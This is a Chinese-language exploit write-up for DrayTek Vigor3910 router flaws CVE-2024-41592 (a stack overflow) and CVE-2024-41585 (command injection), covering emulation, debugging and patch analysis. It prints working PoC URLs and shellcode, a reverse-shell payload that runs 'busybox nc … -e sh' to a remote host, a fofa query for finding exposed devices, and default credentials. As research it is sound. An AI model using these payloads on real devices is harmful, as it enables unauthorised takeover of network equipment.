CVE-2024-41592
漏洞描述
漏洞描述:通过向Web UI的40多个CGI页面中的任何一个发送一个很长的查询字符串来触发,使用许多 “&”字符来分隔查询字符串参数
漏洞组件:sohod64.bin
漏洞类型:未授权栈溢出
影响范围:EoL(End of Life 停止维护)版本仅包含CVE-2024-41592的修复程序,Fixed Versions代表漏洞修复的版本
漏洞分析
固件版本:Vigor3910_v3.9.7.2
fofa:"Vigor 3910" && title=="Vigor Login Page"
标志:var buildtime="Dec 21 2021 17:26:18";
获取用户get
请求的数据,没有限制长度循环给a2
赋值导致溢出漏洞
环境搭建
本机环境
1 | win10:192.168.1.10 |
固件解包
1 | root@key:/home/key/Desktop/3910/cpio-root# ll |
检查 firmware
目录下的启动脚本run_linux.sh
,发现 qemu
启动时存在一个非标准参数 -dtb DrayTek
,猜测是开发者修改过 QEMU
源代码,自行添加的参数。
Draytek
提供设备的 GPL
代码,下载 3910
型号的 GPL
代码分析确定,开发者为 QEMU
添加了一些新功能,用来支持 drayos
运行,所以我们需要编译这份 GPL
代码。
1 | 解压GPL |
编译好之后得到需要的 qemu-system-aarch64
,接下来要修改原始的启动脚本,适配本地环境。
将编译完成qemu-system-aarch64
拷贝到固件解包的文件系统中,目标路径cpio-root/firmware
1 | root@key:/home/key/Desktop/3910/Vigor3910_v396_GPL_release/source/linux/cavium-rootfs/src_dir/qemu-2.12.1# find | grep qemu-system-aarch64 |
宿主机需要新添加两张网卡,修改 network.sh
脚本,将网卡名称替换到脚本中
创建网卡,配置IP
1 | sudo tunctl -t ens38 -u root |
在路径cpio-root/firmware
创建network.sh
和myrun.sh
1 | #!/bin/bash |
然后构造启动脚本,首先按照参考文章的提示,修改自带的启动脚本,当尝试启动文中提到的版本(4.3.1)
时一切正常,但启动新版时会出现错误
1 | [qemu_ivshmem_write_internal:2729] already wait for more than 100ms, check host. |
通过逆向分析发现和 portmap
内存有关系,而这块内存又和参数 memsize
有关,因此尝试将 memsize
值修改为 1
1 | #!/bin/bash |
添加-s -S
参数开放一个gdb
调试端口
1 | #!/bin/bash |
gdb
连接
1 | # gdb-multiarch |
启动时先执行 network.sh
,随后执行 myrun.sh
,访问 192.168.1.1
即可看到登录页面
默认登录密码:admin/admin
端口服务扫描
连接telnet
,登录用户名/密码:admin/admin
,web
端登录密码
poc/exp
经过调试发现,程序调用执行流为:sub_40141AF0->sub_40CD6528->sub_40BC1690
此时堆栈图如下:其中ret_addr3
是我们可以覆盖的地址
堆栈细节图如下:我们可以构造多对&key=value&
进行溢出,最终覆盖ret_addr
,但需要注意的是栈上保存的是key_addr
或者value_addr
都是.reserved段的地址,导致不能将ret_addr
覆盖为任意值
PoC
1 | http://192.168.1.1/cgi-bin/wlogin.cgi?a=1&a=2&a=3&a=4&a=5&a=6&a=7&a=8&a=9&a=10&a=11&a=12&a=13&a=14&a=15&a=16&a=17&a=18&a=19&a=20&a=21&[shellcode] |
返回地址x30
寄存器被控,0x4da2ffc0
地址为.reserved
段地址
程序下一步跳转到0x4da2ffc0
地址
经过调试发现.reserved
段地址有执行权限
EXP
思路:
一:由于.reserved
段地址有执行权限直接执行shellcode
二:利用shellcode
跳转到CVE-2024-41585
三:利用shellcode
构造ROP
重置密码之类的操作
采用思路一:(不通)
shellcode
:设计一个socket
客户端,主动向目标服务器端口链接,下面是一个整体思路框架
1 | .global _start |
由于unescape_url
函数对请求进行url
解码,如果遇到“%
”字符(表示url
编码的字符),它只需要取下面两个字符,将其转换为相应的十六进制值,并直接写 入结果字符串中。例如,字符“%3B
”就变成了分号。没有任何检查来确保得到的十六进制值对应于任何已知的字符编码,允许我们利用这种技术偷运shellcode
。例如,字符串“%DE%AD%BE%EF
”变成了字节数组“\xde\xad\xbe\xef
”。同时可以绕过00
截断问题
因此exp
如下:
1 | 反弹shell到192.168.2.135:4444端口 |
但执行shellcode
到svc #0
时,程序触发异常,程序重启陷入死循环,因此此路不通
怀疑在执行shellcode
的时候,程序存在drayos
系统中,需要越狱跳转到Linux
环境下才可以正常执行shellcode
采用思路二:
控制参数x0=cmd_addr
,x1=0x0
,最后跳转到virtcons_out
函数,触发CVE-2024-41585
漏洞进行命令执行,同时控制返回地址到/cgi-bin/wlogin.cgi
请求的正常返回地址,保证程序不崩溃
控制程序执行流执行printf
函数,执行后跳转到/cgi-bin/wlogin.cgi
请求的正常返回地址,可以发现正常程序执行printf
函数被成功调用,并且程序没有崩溃,web
界面刷新正常
1 | _start: |
对应的exp
如下:
1 | http://192.168.1.1/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%f6%90%d2%a7%1a%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6%73%65%74%5f%6c%69%6e%75%78%5f%74%69%6d%65%20%3b%62%75%73%79%62%6f%78%20%6e%63%20%31%39%32%2e%31%36%38%2e%32%2e%31%33%35%20%31%32%33%34%20%2d%65%20%73%68%3b%00 |
验证合理后,控制执行流指向到virtcons_out
函数,触发CVE-2024-41585
漏洞进行命令执行
1 | .section .data |
1 | http://192.168.1.1/cgi-bin/wlogin.cgi?&&&&&&&&&&&&&&&&&&&&&%e0%00%00%10%01%00%80%d2%07%0d%80%d2%67%00%a8%f2%9e%b5%81%d2%de%02%a8%f2%e0%00%1f%d6set_linux_time%20%3Bifconfig%20br-wan3%20192.169.2.152%3B |
注意:模拟环境中recvCmd
进程没有正常启动导致命令无法执行,下面是真机测试
https://xx.xx.xx.xx/weblogin.htm 弱密码:admin/admin
执行调用printf
测试,web
界面正常刷新,telnet
无影响
执行reboot
命令,web
界面无响应,telnet
断开
getshell
失败,通过telnet
中的ip ping IP
的命令可以ping
通目标服务器,但通过漏洞无法ping
通,猜测是路由器自身防火墙策略问题,
完整EXP
1 | import requests |
补丁分析
固件版本:Vigor3910_v4.3.2.8
循环时对长度进行了校验
总结
“键”释放问题
键值对对栈空间覆盖之后,会调用FreeCtrlName
函数对”键”值进行释放,理论上是对全部”键”值进行释放,但调试发现并不是全部释放,因此不会导致我们后续的返回地址的覆盖
1 | if ( !sub_40BC1690(v81, v80 + 496, v82) ) // 漏洞点 |
sub_40BC1690
执行后FreeCtrlName
执行后
上面是调试细节,可以看到不会对”键”全部释放
CVE-2024-41585
漏洞描述
漏洞描述:DrayTek Vigor3910
设备版本至4.3.2.6
存在操作系统命令注入漏洞,攻击者可利用recvCmd
二进制文件逃离模拟实例并向主机注入任意命令。
漏洞组件:recvCmd
漏洞类型:命令执行
影响范围:EoL
(End of Life
停止维护)版本仅包含CVE-2024-41592
的修复程序,Fixed Versions
代表漏洞修复的版本
漏洞分析
固件版本:Vigor3910_v3.9.7.2
fofa:"Vigor 3910" && title=="Vigor Login Page"
标志:var buildtime="Dec 21 2021 17:26:18";
整体分析:
在一些DrayTek
设备上,虽然用户无法访问主机操作系统,但 guest
可以与主机进行通信。例如,当用户请求重新启动DrayOS
时,客户机会向主机发送一条消息,要求它重新启动客户机。这个通信通道是由客户机通过一个虚拟串行接口用一个特殊的函数“virtcons_out()
”(用于“reboot
”等 OS
命令)实现的。主机使用一个名为“recvCmd
”的特殊二进制文件来监听这个虚拟串行接口,并执行客户机请求 的命令。
细节分析:
分析recvCmd
main
函数分析
读取command_list
获取可执行命令列表,空格变\n
保存到ptr
变量中,我们通过virtcons_out()
传递的命令保存在/firmware/serial0
文件中,通过读取/firmware/serial0
文件获取命令,每次读取64
字节,然后传递给sub_400FB0
函数
其中/etc/runcommand/command_list
中保存了命令列表
1 | reboot fw_upload gci_exp quit set_linux_time sethostlan setportspeed update_ps backup_soho setadminpass f2 set_board_info halt usbcmd uffssave |
跟进sub_400FB0
函数,遍历传入的命令字符串到第一个\n
或者空格的长度,保存到len_0
判断我们输入的命令是否在漏洞列表中,如果在跳出循环,传递到sub_400F08
函数
跟进sub_400F08
函数,对我们的输入的命令进行过滤,在19-37
行,将命令中的\n
替换为空格
,过滤不严格造成命令执行漏洞
busybox
命令列表
1 | [ , [[, acpid, addgroup, adduser, arp, arping, ash, awk, basename, blkdiscard, blkid, blockdev, brctl, bunzip2, bzcat, bzip2, cal, cat, chattr, chgrp, chmod, chown, chpst, chroot, cksum, clear, cmp, comm, cp, crond, crontab, cttyhack, cut, date, dc, dd, delgroup, deluser, depmod, devmem, devstatus, df, dhcprelay, diff, dirname, dmesg, dnsdomainname, du, dumpleases, echo, egrep, env, expr, false, fatattr, fdflush, fdisk, fgrep, find, findfs, flash_eraseall, flash_lock, flash_unlock, flashcp, flock, fold, free, freeramdisk, fsck, fstrim, fsync, ftpd, ftpget, ftpput, fuser, getopt, getty, grep, groups, gunzip, gzip, halt, hd, hdparm, head, hexdump, hostid, httpd, hwclock, i2cdetect, i2cdump, i2cget, i2cset, id, ifconfig, ifdown, ifenslave, ifup, inetd, init, insmod, install, ionice, iostat, ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, ipneigh, iproute, iptunnel, kill, killall, klogd, last, less, linux32, linux64, linuxrc, ln, logger, login, logread, ls, lsmod, lsof, lsusb, lzcat, makedevs, md5sum, mesg, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp, modinfo, modprobe, more, mount, mountpoint, mv, nanddump, nandwrite, nc, netstat, nice, nsenter, nslookup, ntpd, od, openvt, passwd, patch, pgrep, pidof, ping, ping6, pipe_progress, pkill, pmap, poweroff, powertop, printenv, printf, ps, pscan, pwd, readlink, realpath, reboot, renice, reset, resize, rev, rm, rmdir, rmmod, route, rtcwake, runlevel, runsv, script, sed, sendmail, seq, setconsole, setlogcons, setsid, setuidgid, sh, showkey, shuf, sleep, smemcap, softlimit, sort, split, stat, strings, stty, su, sulogin, sum, sv, svc, svlogd, swapoff, swapon, sync, sysctl, syslogd, tail, tar, taskset, tcpsvd, tee, telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr, traceroute, traceroute6, true, truncate, tty, ttysize, ubiattach, ubidetach, ubimkvol, ubirename, ubirmvol, ubirsvol, ubiupdatevol, udhcpc, udhcpd, uevent, umount, uname, unlink, unshare, unzip, uptime, usleep, vconfig, vi, wall, watch, watchdog, wc, wget, which, whoami, xargs, xzcat, yes, zcat |
动态调试分析virtcons_out
函数,发现限制长度63
,virtcons_out
函数接收俩个参数a1=cmd_addr
,a2=0x0
参考链接
https://wzt.ac.cn/2024/02/19/vigor_3910/
https://www.forescout.com/resources/draybreak-draytek-research/
https://packetstormsecurity.com/files/153464/Linux-ARM64-Reverse-TCP-Shell-Null-Free-Shellcode.html